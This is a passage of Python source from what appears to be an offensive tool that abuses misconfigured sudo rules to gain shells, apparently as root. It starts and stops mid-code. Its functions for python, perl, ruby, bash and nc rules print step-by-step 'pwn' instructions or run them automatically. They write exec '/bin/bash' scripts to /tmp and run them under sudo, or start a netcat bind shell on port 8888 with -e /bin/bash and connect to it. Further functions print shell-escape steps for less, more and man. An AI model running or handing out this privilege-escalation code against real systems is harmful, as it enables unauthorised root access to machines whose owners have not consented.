if (python_user == "ALL") or (python_user == "root"):
print(OKGREEN + "\n[!] Obtaining shell as root!" + ENDC)
call("sudo python /tmp/pwnage.py", shell=True)
else:
print(OKGREEN + "\n[!] Obtaining shell as " + python_user + "!" + ENDC)
call("sudo -u " + python_user + " python /tmp/pwnage.py", shell=True)
if question == False:
sudopwner()
# SUDO perl Rule Pwnage
def perl(perl_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC)
print(OKBLUE + "[1] First create a malicious perl script: " + ENDC)
print(OKRED + " [*] echo 'exec '/bin/bash';' > /tmp/pwnage.pl" + ENDC)
print(OKBLUE + "[2] Finally execute that perl script to get your shell: " + ENDC)
if (perl_user == "ALL") or (perl_user == "root"):
print(OKRED + " [*] sudo perl /tmp/pwnage.pl" + ENDC)
else:
print(OKRED + " [*] sudo -u " + perl_user + " perl /tmp/pwnage.pl" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the perl rule? " + ENDC)
if question == True:
print(OKGREEN + "\n[!] Pwning the perl rule now!!!" + ENDC)
print(OKGREEN + "\n[!] Creating the malicious file now!" + ENDC)
call("echo 'exec '/bin/bash';' > /tmp/pwn.pl", shell=True)
print(OKGREEN + "\n[!] Obtaining shell!" + ENDC)
if (perl_user == "ALL") or (perl_user == "root"):
print(OKGREEN + "\n[!] Obtaining shell as root!" + ENDC)
call("sudo perl /tmp/pwn.pl", shell=True)
else:
print(OKGREEN + "\n[!] Obtaining shell as " + perl_user + "!" + ENDC)
call("sudo -u " + perl_user + " perl /tmp/pwn.pl", shell=True)
if question == False:
sudopwner()
# SUDO ruby Rule Pwnage
def ruby(ruby_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC)
print(OKBLUE + "[1] First create a malicious ruby script: " + ENDC)
print(OKRED + " [*] echo 'exec '/bin/bash';' > /tmp/pwnage.rb" + ENDC)
print(OKBLUE + "[2] Finally execute that ruby script to get your shell: " + ENDC)
if (ruby_user == "ALL") or (ruby_user == "root"):
print(OKRED + " [*] sudo ruby /tmp/pwnage.rb" + ENDC)
else:
print(OKRED + " [*] sudo -u " + ruby_user + " ruby /tmp/pwnage.rb" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the ruby rule? " + ENDC)
if question == True:
print(OKGREEN + "[!] Pwning the ruby rule now!!!" + ENDC)
print(OKGREEN + "[!] Creating the malicious file now!" + ENDC)
call("echo 'exec '/bin/bash';' > /tmp/pwn.rb", shell=True)
print(OKGREEN + "[!] Obtaining shell!" + ENDC)
if (ruby_user == "ALL") or (ruby_user == "root"):
print(OKGREEN + "\n[!] Obtaining shell as root!" + ENDC)
call("sudo ruby /tmp/pwn.rb", shell=True)
else:
print(OKGREEN + "\n[!] Obtianing shell as " + ruby_user + "!" + ENDC)
call("sudo -u " + ruby_user + " ruby /tmp/pwn.rb", shell=True)
if question == False:
sudopwner()
# SUDO bash Rule Pwnage
def bash(bash_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule type the following command: " + ENDC)
if (bash_user == "ALL") or (bash_user == "root"):
print(OKRED + "[*] sudo bash -i" + ENDC)
else:
print(OKRED + "[*] sudo -u " + bash_user + " bash -i" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the bash rule? " + ENDC)
if question == True:
print(OKGREEN + "[!] Pwning the bash rule now!!!" + ENDC)
print(OKGREEN + "[+] Obtaining bash shell by passing the -i argument!" + ENDC)
if (bash_user == "ALL") or (bash_user == "root"):
print(OKGREEN + "\n[!] Obtaining shell as root!" + ENDC)
call("sudo bash -i", shell=True)
else:
print(OKGREEN + "\n[!] Obtaining shell as " + bash_user + "!" + ENDC)
call("sudo -u " + bash_user + " bash -i", shell=True)
if question == False:
sudopwner()
# SUDO nc Rule Pwnage
def nc(nc_user):
if args.info:
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC)
print(OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC)
print(OKBLUE + "[1] First open a port using sudo and background it so you can connect to it in the same terminal: " + ENDC)
if (nc_user == "ALL") or (nc_user == "root"):
print(OKRED + " [*] sudo /bin/nc -lvp 8888 -e '/bin/bash' &" + ENDC)
print(OKBLUE + "[2] Finally connect to that port using sudo: " + ENDC)
print(OKRED + " [*] sudo /bin/nc -vvv 127.0.0.1 8888" + ENDC)
else:
print(OKRED + " [*] sudo -u " + nc_user + " /bin/nc -lvp 8888 -e '/bin/bash' &" + ENDC)
print(OKBLUE + "[2] Finally connect to that port using sudo: " + ENDC)
print(OKRED + " [*] sudo -u " + nc_user + " /bin/nc -vvv 127.0.0.1 8888" + ENDC)
print(OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
elif args.autopwn:
question = ask_user(OKRED + "\n[?] Do you wish to abuse the nc rule? " + ENDC)
if question == True:
print(OKGREEN + "[!] Pwning the nc rule now!!!" + ENDC)
if (nc_user == "ALL") or (nc_user == "root"):
print(OKGREEN + "[!] Opening port on 8888 as root" + ENDC)
call("sudo /bin/nc -lvp 8888 -e '/bin/bash' &", shell=True)
print(OKGREEN + "[!] Connecting to port on 8888 to obtain root shell!" + ENDC)
call("sudo /bin/nc -vvv 127.0.0.1 8888", shell=True)
else:
print(OKGREEN + "[!] Opening port on 8888 as " + nc_user + ENDC)
call("sudo -u " + nc_user + " /bin/nc -lvp 8888 -e '/bin/bash' &", shell=True)
print(OKGREEN + "[!] Connecting to port 8888 to obtain shell as " + nc_user + "!" + ENDC)
call("sudo -u " + nc_user + " /bin/nc -vvv 127.0.0.1 8888", shell=True)
if question == False:
sudopwner()
# SUDO less Rule Pwnage
def less(less_user):
print(OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] NO AUTO PWNAGE AVAILABLE.... FOLLOW BELOW STEPS TO PWN: " + ENDC)
print(OKBLUE + "[1] The first step is to open a file using the 'less' command: " + ENDC)
if (less_user == "ALL") or (less_user == "root"):
print(OKRED + " [*] sudo less <filename>" + ENDC)
else:
print(OKRED + " [*] sudo -u " + less_user + " less <filename>" + ENDC)
print(OKBLUE + "[2] Once the file is open type '!/bin/bash': " + ENDC)
print(OKRED + " [*] !/bin/bash" + ENDC)
print(OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
# SUDO more Rule Pwnage
def more(more_user):
print(OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] NO AUTO PWNAGE AVAILABLE.... FOLLOW BELOW STEPS TO PWN: " + ENDC)
print(OKBLUE + "[1] The first step is to open a file using the 'more' command: " + ENDC)
if (more_user == "ALL") or (more_user == "root"):
print(OKRED + " [*] sudo more <filename>" + ENDC)
else:
print(OKRED + " [*] sudo -u " + more_user + " more <filename>" + ENDC)
print(OKBLUE + "[2] Once the file is open type '!/bin/bash': " + ENDC)
print(OKRED + " [*] !/bin/bash" + ENDC)
print(OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC)
sys.exit()
# SUDO man Rule Pwnage
def man(man_user):
print(OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC)
print(OKYELLOW + "\n[!] NO AUTO PWNAGE AVAILABLE.... FOLLOW BELOW STEPS TO PWN: " + ENDC)
print(OKBLUE + "[1] The first step is to view the man page of a Linux command: " + ENDC)
if (man_user == "ALL") or (man_user == "root"):
print(OKRED + " [*] sudo man bash" + ENDC)
else: